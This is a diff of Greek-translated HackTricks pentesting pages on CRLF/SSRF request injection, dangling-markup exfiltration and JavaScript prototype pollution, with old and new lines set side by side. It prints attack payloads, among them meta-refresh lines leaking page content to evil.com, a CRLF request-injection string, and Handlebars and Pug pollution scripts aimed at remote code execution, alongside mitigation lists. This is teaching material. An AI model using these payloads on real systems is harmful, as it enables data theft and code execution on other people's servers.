#### SSRF and HTTP Request Injection via CRLF #### SSRF και HTTP Request Injection μέσω CRLF
Η CRLF injection μπορεί να χρησιμοποιηθεί για να κατασκευάσει και να εισάγει ένα εντελώς νέο HTTP request. Ένα αξιοσημείωτο παράδειγμα αυτού είναι η ευπάθεια στην κλάση `SoapClient` της PHP, συγκεκριμένα μέσα στην παράμετρο `user_agent`. Με την παραποίηση αυτής της παραμέτρου, ένας επιτιθέμενος μπορεί να εισάγει επιπλέον headers και περιεχόμενο σώματος, ή ακόμη και να εισάγει εντελώς ένα νέο HTTP request. Παρακάτω είναι ένα παράδειγμα PHP που δείχνει αυτή την εκμετάλλευση: Η CRLF injection μπορεί να χρησιμοποιηθεί για να κατασκευάσει και να εισάγει ένα εντελώς νέο HTTP request. Ένα αξιοσημείωτο παράδειγμα αυτού είναι η ευπάθεια στην κλάση `SoapClient` της PHP, συγκεκριμένα μέσα στην παράμετρο `user_agent`. Με την παραποίηση αυτής της παραμέτρου, ένας επιτιθέμενος μπορεί να εισάγει επιπλέον headers και περιεχόμενο σώματος, ή ακόμη και να εισάγει ένα νέο HTTP request εντελώς. Παρακάτω είναι ένα παράδειγμα PHP που δείχνει αυτή την εκμετάλλευση:
```php ```php
$target = 'http://127.0.0.1:9090/test'; $target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value'; $post_string = 'variable=post value';
@ -113,7 +113,7 @@ $client->__soapCall("test", []);
Για περισσότερες πληροφορίες σχετικά με αυτή την τεχνική και πιθανά προβλήματα [**ελέγξτε την αρχική πηγή**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning). Για περισσότερες πληροφορίες σχετικά με αυτή την τεχνική και πιθανά προβλήματα [**ελέγξτε την αρχική πηγή**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).
Μπορείτε να εισάγετε βασικούς κεφαλίδες για να διασφαλίσετε ότι το **back-end διατηρεί τη σύνδεση ανοιχτή** μετά την απάντηση στο αρχικό αίτημα: Μπορείτε να εισάγετε βασικούς κεφαλίδες για να διασφαλίσετε ότι το **back-end διατηρεί τη σύνδεση ανοιχτή** μετά την απάντηση στην αρχική αίτηση:
``` ```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1 GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
``` ```
@ -151,11 +151,11 @@ GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0
### Πώς να Αποτρέψετε CRLF / HTTP Header Injections σε Ιστοσελίδες ### Πώς να Αποτρέψετε CRLF / HTTP Header Injections σε Ιστοσελίδες
Για να μετριάσετε τους κινδύνους των CRLF (Carriage Return and Line Feed) ή των HTTP Header Injections σε ιστοσελίδες, προτείνονται οι εξής στρατηγικές: Για να μετριάσετε τους κινδύνους των CRLF (Carriage Return and Line Feed) ή των HTTP Header Injections σε διαδικτυακές εφαρμογές, προτείνονται οι εξής στρατηγικές:
1. **Αποφύγετε την Άμεση Είσοδο Χρήστη σε Κεφαλίδες Απόκρισης:** Η ασφαλέστερη προσέγγιση είναι να αποφύγετε την ενσωμάτωση εισόδου που παρέχεται από τον χρήστη απευθείας σε κεφαλίδες απόκρισης. 1. **Αποφύγετε την Άμεση Είσοδο Χρήστη σε Κεφαλίδες Απόκρισης:** Η ασφαλέστερη προσέγγιση είναι να αποφύγετε την ενσωμάτωση εισόδου που παρέχεται από τον χρήστη απευθείας σε κεφαλίδες απόκρισης.
2. **Κωδικοποιήστε Ειδικούς Χαρακτήρες:** Εάν η αποφυγή άμεσης εισόδου χρήστη δεν είναι εφικτή, βεβαιωθείτε ότι χρησιμοποιείτε μια συνάρτηση αφιερωμένη στην κωδικοποίηση ειδικών χαρακτήρων όπως CR (Carriage Return) και LF (Line Feed). Αυτή η πρακτική αποτρέπει την πιθανότητα εισαγωγής CRLF. 2. **Κωδικοποιήστε Ειδικούς Χαρακτήρες:** Εάν η αποφυγή άμεσης εισόδου χρήστη δεν είναι εφικτή, βεβαιωθείτε ότι χρησιμοποιείτε μια συνάρτηση αφιερωμένη στην κωδικοποίηση ειδικών χαρακτήρων όπως CR (Carriage Return) και LF (Line Feed). Αυτή η πρακτική αποτρέπει την πιθανότητα εισαγωγής CRLF.
3. **Ενημερώστε τη Γλώσσα Προγραμματισμού:** Ενημερώνετε τακτικά τη γλώσσα προγραμματισμού που χρησιμοποιείται στις ιστοσελίδες σας στην τελευταία έκδοση. Επιλέξτε μια έκδοση που από τη φύση της απαγορεύει την εισαγωγή χαρακτήρων CR και LF μέσα σε συναρτήσεις που έχουν ανατεθεί να ρυθμίζουν τις κεφαλίδες HTTP. 3. **Ενημερώστε τη Γλώσσα Προγραμματισμού:** Ενημερώνετε τακτικά τη γλώσσα προγραμματισμού που χρησιμοποιείται στις διαδικτυακές σας εφαρμογές στην τελευταία έκδοση. Επιλέξτε μια έκδοση που από τη φύση της απαγορεύει την εισαγωγή χαρακτήρων CR και LF μέσα σε συναρτήσεις που έχουν ανατεθεί να ρυθμίζουν τις κεφαλίδες HTTP.
### CHEATSHEET ### CHEATSHEET
@ -197,6 +197,4 @@ GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0
- [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning) - [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
- [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/) - [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -7,7 +7,7 @@
Αυτή η τεχνική μπορεί να χρησιμοποιηθεί για να εξάγει πληροφορίες από έναν χρήστη όταν βρεθεί μια **HTML injection**. Αυτό είναι πολύ χρήσιμο αν **δεν βρείτε κανέναν τρόπο να εκμεταλλευτείτε ένα** [**XSS** ](../xss-cross-site-scripting/) αλλά μπορείτε να **εισάγετε μερικές HTML ετικέτες**.\ Αυτή η τεχνική μπορεί να χρησιμοποιηθεί για να εξάγει πληροφορίες από έναν χρήστη όταν βρεθεί μια **HTML injection**. Αυτό είναι πολύ χρήσιμο αν **δεν βρείτε κανέναν τρόπο να εκμεταλλευτείτε ένα** [**XSS** ](../xss-cross-site-scripting/) αλλά μπορείτε να **εισάγετε μερικές HTML ετικέτες**.\
Είναι επίσης χρήσιμο αν κάποιο **μυστικό αποθηκεύεται σε καθαρό κείμενο** στο HTML και θέλετε να **εξάγετε** αυτό από τον πελάτη, ή αν θέλετε να παραπλανήσετε κάποια εκτέλεση σεναρίου. Είναι επίσης χρήσιμο αν κάποιο **μυστικό αποθηκεύεται σε καθαρό κείμενο** στο HTML και θέλετε να **εξάγετε** αυτό από τον πελάτη, ή αν θέλετε να παραπλανήσετε κάποια εκτέλεση σεναρίου.
Διάφορες τεχνικές που αναφέρονται εδώ μπορούν να χρησιμοποιηθούν για να παρακάμψουν κάποια [**Content Security Policy**](../content-security-policy-csp-bypass/) εξάγοντας πληροφορίες με απροσδόκητους τρόπους (html tags, CSS, http-meta tags, forms, base...). Διάφορες τεχνικές που αναφέρονται εδώ μπορούν να χρησιμοποιηθούν για να παρακάμψουν κάποια [**Content Security Policy**](../content-security-policy-csp-bypass/) εξάγοντας πληροφορίες με απροσδόκητους τρόπους (html ετικέτες, CSS, http-meta ετικέτες, φόρμες, base...).
## Main Applications ## Main Applications
@ -21,7 +21,7 @@
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text= <meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a= <meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
``` ```
Σημειώστε ότι το **Chrome μπλοκάρει τα HTTP URLs** με "<" ή "\n" σε αυτά, οπότε μπορείτε να δοκιμάσετε άλλες πρωτοκόλλες όπως το "ftp". Σημειώστε ότι το **Chrome μπλοκάρει τα HTTP URLs** με "<" ή "\n" σε αυτά, οπότε μπορείτε να δοκιμάσετε άλλα πρωτόκολλα όπως το "ftp".
Μπορείτε επίσης να εκμεταλλευτείτε το CSS `@import` (θα στείλει όλο τον κώδικα μέχρι να βρει ένα ";") Μπορείτε επίσης να εκμεταλλευτείτε το CSS `@import` (θα στείλει όλο τον κώδικα μέχρι να βρει ένα ";")
```html ```html
@ -88,7 +88,7 @@ I get consumed!
``` ```
### Κλοπή μυστικών σε καθαρό κείμενο μέσω noscript ### Κλοπή μυστικών σε καθαρό κείμενο μέσω noscript
`<noscript></noscript>` Είναι μια ετικέτα του οποίου το περιεχόμενο θα ερμηνευθεί αν ο περιηγητής δεν υποστηρίζει javascript (μπορείτε να ενεργοποιήσετε/απενεργοποιήσετε την Javascript στο Chrome στο [chrome://settings/content/javascript](chrome://settings/content/javascript)). `<noscript></noscript>` Είναι μια ετικέτα του οποίου το περιεχόμενο θα ερμηνευθεί αν ο περιηγητής δεν υποστηρίζει το javascript (μπορείτε να ενεργοποιήσετε/απενεργοποιήσετε το Javascript στο Chrome στο [chrome://settings/content/javascript](chrome://settings/content/javascript)).
Ένας τρόπος για να εξάγετε το περιεχόμενο της ιστοσελίδας από το σημείο της ένεσης μέχρι το κάτω μέρος σε μια ιστοσελίδα που ελέγχεται από τον επιτιθέμενο θα είναι η ένεση αυτού: Ένας τρόπος για να εξάγετε το περιεχόμενο της ιστοσελίδας από το σημείο της ένεσης μέχρι το κάτω μέρος σε μια ιστοσελίδα που ελέγχεται από τον επιτιθέμενο θα είναι η ένεση αυτού:
```html ```html
@ -102,7 +102,7 @@ I get consumed!
<base target=' <base target='
``` ```
Σημειώστε ότι θα ζητήσετε από το **θύμα** να **κλικάρει σε έναν σύνδεσμο** που θα **ανακατευθύνει** αυτόν σε **payload** που ελέγχετε εσείς. Επίσης, σημειώστε ότι το **`target`** χαρακτηριστικό μέσα στην **`base`** ετικέτα θα περιέχει **HTML περιεχόμενο** μέχρι το επόμενο μονό απόσπασμα.\ Σημειώστε ότι θα ζητήσετε από το **θύμα** να **κλικάρει σε έναν σύνδεσμο** που θα **ανακατευθύνει** αυτόν σε **payload** που ελέγχετε εσείς. Επίσης, σημειώστε ότι το **`target`** χαρακτηριστικό μέσα στην **`base`** ετικέτα θα περιέχει **HTML περιεχόμενο** μέχρι το επόμενο μονό απόσπασμα.\
Αυτό θα κάνει ώστε η **τιμή** του **`window.name`** αν ο σύνδεσμος κλικάρεται να είναι όλο αυτό το **HTML περιεχόμενο**. Επομένως, καθώς **ελέγχετε τη σελίδα** στην οποία το θύμα έχει πρόσβαση κάνοντας κλικ στον σύνδεσμο, μπορείτε να αποκτήσετε πρόσβαση σε αυτό το **`window.name`** και να **exfiltrate** αυτά τα δεδομένα: Αυτό θα κάνει ώστε η **τιμή** του **`window.name`** αν κλικάρετε τον σύνδεσμο να είναι όλο αυτό το **HTML περιεχόμενο**. Επομένως, καθώς **ελέγχετε τη σελίδα** στην οποία το θύμα έχει πρόσβαση κάνοντας κλικ στον σύνδεσμο, μπορείτε να αποκτήσετε πρόσβαση σε αυτό το **`window.name`** και να **exfiltrate** αυτά τα δεδομένα:
```html ```html
<script> <script>
if(window.name) { if(window.name) {
@ -150,7 +150,7 @@ set_sharing({ ... })
``` ```
### Κατάχρηση Iframe ### Κατάχρηση Iframe
Ένα παιδικό έγγραφο έχει τη δυνατότητα να βλέπει και να τροποποιεί την ιδιότητα `location` του γονέα του, ακόμη και σε καταστάσεις διασυνοριακής προέλευσης. Αυτό επιτρέπει την ενσωμάτωση ενός script μέσα σε ένα **iframe** που μπορεί να ανακατευθύνει τον πελάτη σε μια αυθαίρετη σελίδα: Ένα παιδικό έγγραφο έχει τη δυνατότητα να δει και να τροποποιήσει την ιδιότητα `location` του γονέα του, ακόμη και σε καταστάσεις διασυνοριακής προέλευσης. Αυτό επιτρέπει την ενσωμάτωση ενός script μέσα σε ένα **iframe** που μπορεί να ανακατευθύνει τον πελάτη σε μια αυθαίρετη σελίδα:
```html ```html
<html> <html>
<head></head> <head></head>
@ -193,7 +193,7 @@ onload="cspBypass(this.contentWindow)"></iframe>
``` ```
### HTML Leaks ### HTML Leaks
Όλοι οι τρόποι διαρροής συνδεσιμότητας σε HTML δεν θα είναι χρήσιμοι για το Dangling Markup, αλλά μερικές φορές μπορεί να βοηθήσουν. Ελέγξτε τους εδώ: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html) Όλοι οι τρόποι διαρροής συνδεσιμότητας στο HTML δεν θα είναι χρήσιμοι για το Dangling Markup, αλλά μερικές φορές μπορεί να βοηθήσουν. Ελέγξτε τους εδώ: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
## SS-Leaks ## SS-Leaks
@ -213,7 +213,9 @@ XS-Search είναι προσανατολισμένα να **εξάγουν πλ
## Brute-Force Detection List ## Brute-Force Detection List
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %} {{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt
{{#endref}}
## References ## References

View File

@ -11,9 +11,9 @@ console.log(Object.create(null)) // This will output an empty object.
``` ```
Ένα κενό αντικείμενο είναι παρόμοιο με ένα κενό λεξικό, που αναπαρίσταται ως `{}`. Ένα κενό αντικείμενο είναι παρόμοιο με ένα κενό λεξικό, που αναπαρίσταται ως `{}`.
### Συναρτήσεις και Κλάσεις στην JavaScript ### Λειτουργίες και Κλάσεις στην JavaScript
Στην JavaScript, οι κλάσεις και οι συναρτήσεις είναι στενά συνδεδεμένες, με τις συναρτήσεις συχνά να λειτουργούν ως κατασκευαστές για κλάσεις. Παρά την έλλειψη εγγενούς υποστήριξης κλάσεων στην JavaScript, οι κατασκευαστές μπορούν να μιμούνται τη συμπεριφορά κλάσεων. Στην JavaScript, οι κλάσεις και οι λειτουργίες είναι στενά συνδεδεμένες, με τις λειτουργίες συχνά να χρησιμεύουν ως κατασκευαστές για κλάσεις. Παρά την έλλειψη εγγενούς υποστήριξης κλάσεων στην JavaScript, οι κατασκευαστές μπορούν να μιμούνται τη συμπεριφορά κλάσεων.
```javascript ```javascript
// Run this in the developers tools console // Run this in the developers tools console
@ -43,11 +43,11 @@ employee1.__proto__
Πρέπει να σημειωθεί ότι όταν μια ιδιότητα προστεθεί σε ένα αντικείμενο που χρησιμεύει ως το πρωτότυπο για άλλα αντικείμενα (όπως το `myPersonObj`), τα κληρονομικά αντικείμενα αποκτούν πρόσβαση σε αυτή τη νέα ιδιότητα. Ωστόσο, αυτή η ιδιότητα δεν εμφανίζεται αυτόματα εκτός αν προσκληθεί ρητά. Πρέπει να σημειωθεί ότι όταν μια ιδιότητα προστεθεί σε ένα αντικείμενο που χρησιμεύει ως το πρωτότυπο για άλλα αντικείμενα (όπως το `myPersonObj`), τα κληρονομικά αντικείμενα αποκτούν πρόσβαση σε αυτή τη νέα ιδιότητα. Ωστόσο, αυτή η ιδιότητα δεν εμφανίζεται αυτόματα εκτός αν προσκληθεί ρητά.
## \_\_proto\_\_ ρύπανση <a href="#id-0d0a" id="id-0d0a"></a> ## \_\_proto\_\_ pollution <a href="#id-0d0a" id="id-0d0a"></a>
## Εξερεύνηση Ρύπανσης Πρωτοτύπων στην JavaScript ## Εξερεύνηση της Ρύπανσης Πρωτοτύπων στην JavaScript
Τα αντικείμενα JavaScript ορίζονται από ζεύγη κλειδιού-τιμής και κληρονομούν από το πρωτότυπο Αντικειμένου της JavaScript. Αυτό σημαίνει ότι η τροποποίηση του πρωτοτύπου Αντικειμένου μπορεί να επηρεάσει όλα τα αντικείμενα στο περιβάλλον. Τα αντικείμενα JavaScript ορίζονται από ζεύγη κλειδιού-τιμής και κληρονομούν από το πρωτότυπο του αντικειμένου JavaScript. Αυτό σημαίνει ότι η τροποποίηση του πρωτοτύπου του αντικειμένου μπορεί να επηρεάσει όλα τα αντικείμενα στο περιβάλλον.
Ας χρησιμοποιήσουμε ένα διαφορετικό παράδειγμα για να το απεικονίσουμε: Ας χρησιμοποιήσουμε ένα διαφορετικό παράδειγμα για να το απεικονίσουμε:
```javascript ```javascript
@ -76,7 +76,7 @@ car1.announce() // Outputs "Beep beep!"
car1.__proto__.__proto__.isVehicle = true car1.__proto__.__proto__.isVehicle = true
console.log(car1.isVehicle) // Outputs true console.log(car1.isVehicle) // Outputs true
``` ```
## πρωτότυπη ρύπανση ## μόλυνση πρωτοτύπου
Για ένα σενάριο όπου η χρήση του `__proto__` είναι περιορισμένη, η τροποποίηση του πρωτοτύπου μιας συνάρτησης είναι μια εναλλακτική: Για ένα σενάριο όπου η χρήση του `__proto__` είναι περιορισμένη, η τροποποίηση του πρωτοτύπου μιας συνάρτησης είναι μια εναλλακτική:
```javascript ```javascript
@ -171,13 +171,13 @@ settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domai
### Βασικό Παράδειγμα ### Βασικό Παράδειγμα
Μια μόλυνση πρωτοτύπου συμβαίνει λόγω ενός σφάλματος στην εφαρμογή που επιτρέπει την επαναγραφή ιδιοτήτων στο `Object.prototype`. Αυτό σημαίνει ότι καθώς οι περισσότερες αντικείμενα αντλούν τις ιδιότητές τους από το `Object.prototype` Μια ρύπανση πρωτοτύπου συμβαίνει λόγω ενός σφάλματος στην εφαρμογή που επιτρέπει την επαναγραφή ιδιοτήτων στο `Object.prototype`. Αυτό σημαίνει ότι καθώς οι περισσότερες αντικείμενα αντλούν τις ιδιότητές τους από το `Object.prototype`
Το πιο απλό παράδειγμα είναι να προσθέσετε μια τιμή σε μια **μη καθορισμένη ιδιότητα ενός αντικειμένου** που πρόκειται να ελεγχθεί, όπως: Το πιο απλό παράδειγμα είναι να προσθέσετε μια τιμή σε μια **μη καθορισμένη ιδιότητα ενός αντικειμένου** που πρόκειται να ελεγχθεί, όπως:
```javascript ```javascript
if (user.admin) { if (user.admin) {
``` ```
Αν το χαρακτηριστικό **`admin` είναι μη καθορισμένο** είναι δυνατόν να εκμεταλλευτείτε ένα PP και να το ορίσετε σε True με κάτι όπως: Αν το χαρακτηριστικό **`admin` είναι μη καθορισμένο** είναι δυνατόν να εκμεταλλευτείτε ένα PP και να το ορίσετε σε True με κάτι σαν:
```javascript ```javascript
Object.prototype.isAdmin = true Object.prototype.isAdmin = true
let user = {} let user = {}
@ -201,7 +201,7 @@ customer.__proto__.toString = ()=>{alert("polluted")}
prototype-pollution-to-rce.md prototype-pollution-to-rce.md
{{#endref}} {{#endref}}
Άλλες payloads: Άλλα payloads:
- [https://github.com/KTH-LangSec/server-side-prototype-pollution](https://github.com/KTH-LangSec/server-side-prototype-pollution) - [https://github.com/KTH-LangSec/server-side-prototype-pollution](https://github.com/KTH-LangSec/server-side-prototype-pollution)
@ -218,17 +218,19 @@ client-side-prototype-pollution.md
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}')) $.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // Outputs: true console.log({}.devMode) // Outputs: true
``` ```
Αυτή η ευπάθεια, που αναγνωρίστηκε ως CVE-201911358, δείχνει πώς μια βαθιά αντιγραφή μπορεί να τροποποιήσει κατά λάθος το πρωτότυπο, οδηγώντας σε πιθανούς κινδύνους ασφαλείας, όπως μη εξουσιοδοτημένη πρόσβαση διαχειριστή αν οι ιδιότητες όπως το `isAdmin` ελέγχονται χωρίς κατάλληλη επαλήθευση ύπαρξης. Αυτή η ευπάθεια, που αναγνωρίστηκε ως CVE-201911358, δείχνει πώς μια βαθιά αντιγραφή μπορεί να τροποποιήσει κατά λάθος το πρωτότυπο, οδηγώντας σε πιθανούς κινδύνους ασφαλείας, όπως μη εξουσιοδοτημένη πρόσβαση διαχειριστή εάν οι ιδιότητες όπως το `isAdmin` ελέγχονται χωρίς κατάλληλη επαλήθευση ύπαρξης.
### CVE-20183721, CVE-201910744: Επίθεση μόλυνσης πρωτοτύπου μέσω lodash ### CVE-20183721, CVE-201910744: Επίθεση μόλυνσης πρωτοτύπου μέσω lodash
[Για περισσότερες λεπτομέρειες ελέγξτε αυτό το άρθρο](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) [Για περισσότερες λεπτομέρειες δείτε αυτό το άρθρο](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
[Lodash](https://www.npmjs.com/package/lodash) αντιμετώπισε παρόμοιες ευπάθειες μόλυνσης πρωτοτύπου (CVE-20183721, CVE-201910744). Αυτά τα ζητήματα επιλύθηκαν στην έκδοση 4.17.11. [Lodash](https://www.npmjs.com/package/lodash) αντιμετώπισε παρόμοιες ευπάθειες μόλυνσης πρωτοτύπου (CVE-20183721, CVE-201910744). Αυτά τα ζητήματα επιλύθηκαν στην έκδοση 4.17.11.
### Ένα άλλο σεμινάριο με CVEs ### Ένα άλλο σεμινάριο με CVEs
{% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %} {{#ref}}
https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2
{{#endref}}
### Εργαλεία για την ανίχνευση μόλυνσης πρωτοτύπου ### Εργαλεία για την ανίχνευση μόλυνσης πρωτοτύπου
@ -241,14 +243,14 @@ console.log({}.devMode) // Outputs: true
#### Ανάλυση Ευπάθειας Handlebars #### Ανάλυση Ευπάθειας Handlebars
Η μηχανή προτύπων Handlebars είναι ευάλωτη σε επίθεση μόλυνσης πρωτοτύπου. Αυτή η ευπάθεια προκύπτει από συγκεκριμένες συναρτήσεις μέσα στο αρχείο `javascript-compiler.js`. Η συνάρτηση `appendContent`, για παράδειγμα, συνενώνει το `pendingContent` αν είναι παρόν, ενώ η συνάρτηση `pushSource` επαναφέρει το `pendingContent` σε `undefined` μετά την προσθήκη της πηγής. Η μηχανή προτύπων Handlebars είναι ευάλωτη σε επίθεση μόλυνσης πρωτοτύπου. Αυτή η ευπάθεια προκύπτει από συγκεκριμένες συναρτήσεις μέσα στο αρχείο `javascript-compiler.js`. Η συνάρτηση `appendContent`, για παράδειγμα, συνενώνει το `pendingContent` εάν είναι παρόν, ενώ η συνάρτηση `pushSource` επαναφέρει το `pendingContent` σε `undefined` μετά την προσθήκη της πηγής.
**Διαδικασία Εκμετάλλευσης** **Διαδικασία Εκμετάλλευσης**
Η εκμετάλλευση εκμεταλλεύεται το AST (Abstract Syntax Tree) που παράγεται από τις Handlebars, ακολουθώντας τα εξής βήματα: Η εκμετάλλευση εκμεταλλεύεται το AST (Abstract Syntax Tree) που παράγεται από τις Handlebars, ακολουθώντας τα εξής βήματα:
1. **Manipulation of the Parser**: Αρχικά, ο αναλυτής, μέσω του κόμβου `NumberLiteral`, επιβάλλει ότι οι τιμές είναι αριθμητικές. Η μόλυνση πρωτοτύπου μπορεί να παρακάμψει αυτό, επιτρέποντας την εισαγωγή μη αριθμητικών συμβολοσειρών. 1. **Manipulation of the Parser**: Αρχικά, ο αναλυτής, μέσω του κόμβου `NumberLiteral`, επιβάλλει ότι οι τιμές είναι αριθμητικές. Η μόλυνση πρωτοτύπου μπορεί να παρακάμψει αυτό, επιτρέποντας την εισαγωγή μη αριθμητικών συμβολοσειρών.
2. **Handling by the Compiler**: Ο μεταγλωττιστής μπορεί να επεξεργαστεί ένα αντικείμενο AST ή ένα πρότυπο συμβολοσειράς. Αν το `input.type` ισούται με `Program`, η είσοδος αντιμετωπίζεται ως προ-αναλυμένη, κάτι που μπορεί να εκμεταλλευτεί. 2. **Handling by the Compiler**: Ο μεταγλωττιστής μπορεί να επεξεργαστεί ένα αντικείμενο AST ή ένα πρότυπο συμβολοσειράς. Εάν το `input.type` ισούται με `Program`, η είσοδος αντιμετωπίζεται ως προ-αναλυμένη, κάτι που μπορεί να εκμεταλλευτεί.
3. **Injection of Code**: Μέσω της χειραγώγησης του `Object.prototype`, μπορεί κανείς να εισάγει αυθαίρετο κώδικα στη συνάρτηση προτύπου, κάτι που μπορεί να οδηγήσει σε απομακρυσμένη εκτέλεση κώδικα. 3. **Injection of Code**: Μέσω της χειραγώγησης του `Object.prototype`, μπορεί κανείς να εισάγει αυθαίρετο κώδικα στη συνάρτηση προτύπου, κάτι που μπορεί να οδηγήσει σε απομακρυσμένη εκτέλεση κώδικα.
Ένα παράδειγμα που δείχνει την εκμετάλλευση της ευπάθειας Handlebars: Ένα παράδειγμα που δείχνει την εκμετάλλευση της ευπάθειας Handlebars:
@ -313,9 +315,9 @@ requests.get(TARGET_URL)
``` ```
#### Ευπάθεια Pug #### Ευπάθεια Pug
Το Pug, μια άλλη μηχανή προτύπων, αντιμετωπίζει παρόμοιο κίνδυνο μόλυνσης πρωτοτύπων. Λεπτομερείς πληροφορίες είναι διαθέσιμες στη συζήτηση για [AST Injection in Pug](https://blog.p6.is/AST-Injection/#Pug). Το Pug, μια άλλη μηχανή προτύπων, αντιμετωπίζει παρόμοιο κίνδυνο μόλυνσης πρωτοτύπου. Λεπτομερείς πληροφορίες είναι διαθέσιμες στη συζήτηση για [AST Injection in Pug](https://blog.p6.is/AST-Injection/#Pug).
Παράδειγμα μόλυνσης πρωτοτύπων στο Pug: Παράδειγμα μόλυνσης πρωτοτύπου στο Pug:
```python ```python
import requests import requests
@ -340,13 +342,13 @@ requests.get(TARGET_URL)
2. **Επικύρωση Εισόδου**: Οι εισροές JSON θα πρέπει να επικυρώνονται αυστηρά σύμφωνα με το σχήμα της εφαρμογής. 2. **Επικύρωση Εισόδου**: Οι εισροές JSON θα πρέπει να επικυρώνονται αυστηρά σύμφωνα με το σχήμα της εφαρμογής.
3. **Ασφαλείς Συναρτήσεις Συγχώνευσης**: Η μη ασφαλής χρήση αναδρομικών συναρτήσεων συγχώνευσης θα πρέπει να αποφεύγεται. 3. **Ασφαλείς Συναρτήσεις Συγχώνευσης**: Η μη ασφαλής χρήση αναδρομικών συναρτήσεων συγχώνευσης θα πρέπει να αποφεύγεται.
4. **Αντικείμενα Χωρίς Πρωτότυπα**: Αντικείμενα χωρίς ιδιότητες πρωτοτύπου μπορούν να δημιουργηθούν χρησιμοποιώντας το `Object.create(null)`. 4. **Αντικείμενα Χωρίς Πρωτότυπα**: Αντικείμενα χωρίς ιδιότητες πρωτοτύπου μπορούν να δημιουργηθούν χρησιμοποιώντας το `Object.create(null)`.
5. **Χρήση Map**: Αντί για το `Object`, θα πρέπει να χρησιμοποιείται το `Map` για την αποθήκευση ζευγών κλειδιού-τιμής. 5. **Χρήση Χάρτη**: Αντί για το `Object`, θα πρέπει να χρησιμοποιείται το `Map` για την αποθήκευση ζευγών κλειδιού-τιμής.
6. **Ενημερώσεις Βιβλιοθηκών**: Οι ενημερώσεις ασφαλείας μπορούν να ενσωματωθούν με την τακτική ενημέρωση των βιβλιοθηκών. 6. **Ενημερώσεις Βιβλιοθηκών**: Οι διορθώσεις ασφαλείας μπορούν να ενσωματωθούν με την τακτική ενημέρωση των βιβλιοθηκών.
7. **Εργαλεία Linter και Στατικής Ανάλυσης**: Χρησιμοποιήστε εργαλεία όπως το ESLint με κατάλληλα πρόσθετα για να ανιχνεύσετε και να αποτρέψετε ευπάθειες μόλυνσης του πρωτοτύπου. 7. **Εργαλεία Linter και Στατικής Ανάλυσης**: Χρησιμοποιήστε εργαλεία όπως το ESLint με κατάλληλα πρόσθετα για να ανιχνεύσετε και να αποτρέψετε ευπάθειες μόλυνσης του πρωτοτύπου.
8. **Ανασκοπήσεις Κώδικα**: Εφαρμόστε λεπτομερείς ανασκοπήσεις κώδικα για να εντοπίσετε και να διορθώσετε πιθανούς κινδύνους που σχετίζονται με τη μόλυνση του πρωτοτύπου. 8. **Αναθεωρήσεις Κώδικα**: Εφαρμόστε λεπτομερείς αναθεωρήσεις κώδικα για να εντοπίσετε και να διορθώσετε πιθανούς κινδύνους που σχετίζονται με τη μόλυνση του πρωτοτύπου.
9. **Εκπαίδευση Ασφαλείας**: Εκπαιδεύστε τους προγραμματιστές σχετικά με τους κινδύνους της μόλυνσης του πρωτοτύπου και τις βέλτιστες πρακτικές για τη συγγραφή ασφαλούς κώδικα. 9. **Εκπαίδευση Ασφαλείας**: Εκπαιδεύστε τους προγραμματιστές σχετικά με τους κινδύνους της μόλυνσης του πρωτοτύπου και τις βέλτιστες πρακτικές για τη συγγραφή ασφαλούς κώδικα.
10. **Χρήση Βιβλιοθηκών με Προσοχή**: Να είστε προσεκτικοί κατά τη χρήση τρίτων βιβλιοθηκών. Αξιολογήστε τη θέση ασφαλείας τους και ανασκοπήστε τον κώδικά τους, ειδικά εκείνους που χειρίζονται αντικείμενα. 10. **Χρήση Βιβλιοθηκών με Προσοχή**: Να είστε προσεκτικοί κατά τη χρήση τρίτων βιβλιοθηκών. Αξιολογήστε τη θέση ασφαλείας τους και αναθεωρήστε τον κώδικά τους, ειδικά εκείνες που χειρίζονται αντικείμενα.
